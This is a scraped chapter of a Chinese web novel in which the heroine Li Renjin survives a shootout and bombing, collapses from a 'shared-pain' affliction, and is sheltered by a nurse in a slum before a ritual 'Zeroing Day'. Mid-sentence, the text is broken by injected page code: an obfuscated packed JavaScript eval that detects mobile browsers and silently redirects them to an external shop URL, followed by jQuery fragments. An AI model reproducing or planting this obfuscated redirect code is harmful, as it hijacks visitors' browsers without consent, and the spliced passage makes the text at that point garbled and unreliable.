硝烟刺鼻。
黎仁尽瞳孔微缩,视线上移,对上一张扭曲的面孔。
“两次!你搞了我两次!要不是这次我准备充足……”麦里奇咬牙切齿,“我要把你扒皮抽筋!我要你生不如死!我要你趴在我的脚下跪舔哀求!”
他状若疯狗般咆哮,脖颈青筋暴起。
黎仁尽眸色淡漠的瞧着,从始至终,毫无波澜,仿佛在观看一个跳梁小丑。
末了,她望了眼天空:“做梦呢?天还没亮。”
“你!”麦里奇破防。
“砰——”几乎同时,一声枪响。
麦里奇手里的枪被人打掉了,因冲击力一同坠地的,还有一把闪着寒光的手术刀。
“是之前那个狙击手!保护麦先生!”黑衣人一拥而上,围住麦里奇。
就在这时,周遭一直没有亮灯、静默如空的楼栋内纷纷射出子弹——火光闪烁,如星子明灭,竟有数十人蛰伏已久。
一出现,便攻守易型。
铁西街成员在上,麦家人在下。铁西街成员分布四面,麦家人困于一瓮。
数罐颜料被抛至空中,然后打爆,彩色的雨瓢泼而下,麦家人彻底失去了视野。
场面混乱焦灼之际,黎仁尽趁机一脚油门,战损版跑车飞掠而出。
“别管我!快!抓住她!不!打死她!”麦里奇一把掀开还护着他头的黑衣人,公鸡打鸣似的扯着嗓子嘶喊。
“轰——”
炮火追着车屁股打。
黎仁尽随着车身剧烈颠簸,左闪右躲,飞速驶入街道尽头的建筑物内,广播打开:“按计划撤退。”
声音出现的刹那,枪声立刻减少一半。
所有铁西街成员毫不恋战,快速收枪、下楼,从各个密道迅速分散离开。
爻什同样如此。
奔跑中,她忽然停下脚步,回头望了一眼。
-
铁西街尽头,蔺秋莎所在楼栋。
麦里奇持枪追进去。
黎仁尽已经下车,就站在一楼空地中央极为显眼的位置。
“快!在这里!”麦里奇发现目标,冲刺得更快,因此,没看见黎仁尽眼底残忍的笑意。
“轰隆——”
一声巨响,震耳欲聋。
麦里奇被冲击波掀飞,重重坠地。
黎仁尽翘起嘴角,转身,倏然,猛地喷出一口鲜血。
她捂住心口,感受着五脏六腑传出的剧痛。
【系统提示,检测到B级痛苦制造者——麦里奇遭遇重创,体内[愉悦]浓度值已清零,正在进行共感释放。】
【您体内的[愉悦]浓度值即将清零,请尽快脱离B级痛苦制造者方圆300米的共感接收范围,并立即补充[愉悦]。】
【您体内的[愉悦]浓度值已清零。】
黎仁尽眼前一黑,双膝跪地。
“麦先生受伤了!立即补充[愉悦]!”
耳畔响起撕心裂肺的叫喊,黎仁尽的手指狠狠扣住墙面,站了起来。
“轰——”
又是一声巨响。
刚闯进楼里的黑衣人,损失大半。
强烈的火光点亮黎仁尽的一线视野。
她看见,有人正在给麦里奇补充[愉悦]。
“快撤!肯定还有炸弹!”黑衣人背起麦里奇,飞快朝外奔跑。
“轰——”
炸弹如期而爆。
大地颤动,火光冲天。
铁西街上,除了蔺秋莎所在位置,其余地点,一栋栋楼宇,接连爆炸、坍塌……
黎仁尽踉跄地从后门离开。
忽地,她顿住脚步,回头望向蔺秋莎所在楼层的落地窗。
盛大的蘑菇云,染红天际,倒映在玻璃上,仿若绚烂烟花。
“瞧,多么盛大的葬礼。”她毫不在意抹去唇边血痕。
下一秒,新的血液流出。痛感如同潮水,一波比一波更加声势浩大。
面前有两条路,右边灯光通明,左边黑若深渊。
“走哪条?”黎仁尽对着空气问。
“别装死。”语气已十分危险。
【……左边。】
系统沉默数秒,还是给出了回答。
铁西街在黎仁尽身后支离破碎。
她用力攀住粗糙的墙面,凭借最后的意志力,一点一点朝着左边挪动而去……
-
“[平静]……”
“给我……”
“给我[平静]……”
“救救我……”
黑暗中,处处皆是靡靡低语,萦绕不绝。
黎仁尽不知道自己走了多久,已然到达极限,软倒在地,整个人如同婴儿蜷缩成一团。
满身冷汗,湿透衣服,满嘴铁锈味,溢出嘴角,连简单的吞咽都无法做到。
“共、感、瘟疫……”痛极之下,她竟呵呵笑起来,语不成调,断断续续,“人类、都这么……痛苦了,为什么……还要、活着?”
“[平静]……我要……”
周遭的乞求声仍在继续。
黎仁尽睁开眼睛,只看见一片虚无的黑暗。
她不知道是自己已经痛瞎了,还是这里本就没有一点光线。
“呼——哧——呼——哧……”她急促的喘息着,仿若困兽最后的嘶鸣。
“咦?”惊讶的女声若有似无,不知是梦是真。
一束光打在黎仁尽脸上。
她眯了眯眼,猛然抓住了一个人的脚踝。
“啊——!!!”
尖锐爆鸣肯定了来人的真实性,黎仁尽更加用力。
“是你?”女声惊诧而恐惧,“你放开我、放开……”
耳畔的嘤嘤哭泣声持续良久,忽而,一股无味的液体缓缓灌进嘴里,黎仁尽艰难地混着满嘴血腥将其一点一点吞咽下去。
痛感逐渐褪去。
她抬起酸软的手臂,抹了抹嘴,睁开眼睛。
“你、你、你好些了吗?”女人的声音怯生生响起。
黎仁尽凝眸看去,目光一顿:“又见面了,美丽的护士小姐。”
她的视线落在对方握着空瓶的手上:“[愉悦]?”
如果没有记错,几小时前的配药间里,这位名叫陈昕乔的女护士才对她说过,[愉悦]没有了。
陈昕乔浑身一震,立刻把手往身后藏,结结巴巴:“我、我、我只是、我……”
她看上去很害怕,黎仁尽却浑不在意地笑了:“会浑水摸鱼,真是一个聪明的女孩。”
黎仁尽举起对方的手,手电筒跟着抬高,光线缓缓掠过周遭——墙边街角,躺满了人。
一个叠着一个,死物一般。
唯有不断祈求[平静]的声响,证明他们还活着。
“这是哪里?”黎仁尽放下手,远处重归黑暗。
“是……贫民窟。”陈昕乔的声音很低,微微颤抖着。
黎仁尽眨了眨眼,眼睫毛湿黏在一起,不知道是汗还是血。
她眸色极淡地扫过对方脖子上的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769289|209856||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
暗红色勒痕,语气倦怠:“你家住在这里?”
陈昕乔迟疑半晌,讷讷点头。
黎仁尽的语气骤然轻柔:“陈昕乔女士,请问,方便去你家借宿一晚吗?”
陈昕乔惊得张大嘴巴,先是下意识摇头,蓦地,惊恐的僵住,又诚惶诚恐点头,咬着唇,眼眶盈满泪水。”
黎仁尽微笑。
-
不多时,暗巷内唯一的一缕光线再次移动起来。
二人走得缓慢,仍不小心踩到几具爬行到小路中央的躯体。
两三百米路,硬生生走了十几分钟,才到达一扇灰扑扑的大门前。
陈昕乔开门,黎仁尽走进去。
门关上,叫魂似的靡靡低语终于消失。
“乔儿回来了?”黢黑房间内,一个虚弱的女声问。
陈昕乔连忙应声:“妈,我回来了。”
她打开灯,昏黄的光充满整个房间。
一个瘦弱的、满脸灰败之色的女人自一张小床上坐起来,望向门口方向:“这是?”
黎仁尽眸色骤冷,另一张同样瘦弱苍白的女人的脸自脑海中一闪而过。
她垂下眼皮,掩去冷色。
“这是……我朋友。”陈昕乔颇不自在的介绍。
陈母立即露出笑容:“乔儿从没带朋友回来过,欢迎欢迎。”
说着,还要下床,被陈昕乔一把按住:“妈,今天太晚了,有什么事明天再说,你说这个喝了,今晚能睡个好觉。”
陈昕乔侧了侧身,拿出一个小瓶,喂到陈母嘴边。
陈母张嘴吞咽,忽然停住:“诶?这不是、这是——”
“睡吧。”陈昕乔高声打断,顺手拉过床边的蓝白条纹帘子。
片刻,她走出帘外,看向黎仁尽的眼睛里满是惶惶不安。
“我睡哪儿?”黎仁尽瞥了一眼陈昕乔手里的空瓶子,移开视线。
陈昕乔松了一口气,带着她走进一个小房间:“这是我的卧室,虽然小了点,但是很干净的,你、你今晚睡这儿吧,我去和我妈一起睡。”
黎仁尽扫了一眼小房间。
很狭窄,比陈母又是卧室又是客厅的空间小了约2/3,但却如陈昕乔所言,很干净,气味也清新。
她看向横七竖八贴满胶带的窗户。
“我们把窗户封起来是因为不想外面的声音传到屋子里,影响休息。”陈昕乔连忙解释。
黎仁尽颔首:“实用的做法,很有生活头脑。”
陈昕乔一愣:“谢、谢谢,那个……你手腕上的伤,我给你包扎一下吧?”
黎仁尽伸出手:“谢谢。”
“不、不客气。”
……
没睡多久。
天刚蒙蒙亮,陈昕乔的卧室门外便响起窸窸窣窣的声响。
黎仁尽睁开眼睛,下床,打开房门。
第一眼就察觉到了不对劲——陈昕乔母女的着装都过于正式了。
黎仁尽斜靠在门框上:“要去哪儿?”
陈昕乔咬唇,还未开口,陈母先笑了:“今天是一月一次的归零日,咱们这儿的人都要去东边的老广场,你运气真好,赶上了这样的好日子,和我们一起去吧。”
陈母那与陈昕乔五分相似的衰老的脸上,出现了极致的虔诚表情。
她似乎相当激动与向往,干涩泛黄的双目皆溢出无比兴奋的光。
“妈!”陈昕乔扯了下陈母,示意她别说了。
黎仁尽却来了兴趣:“……归、零、日?”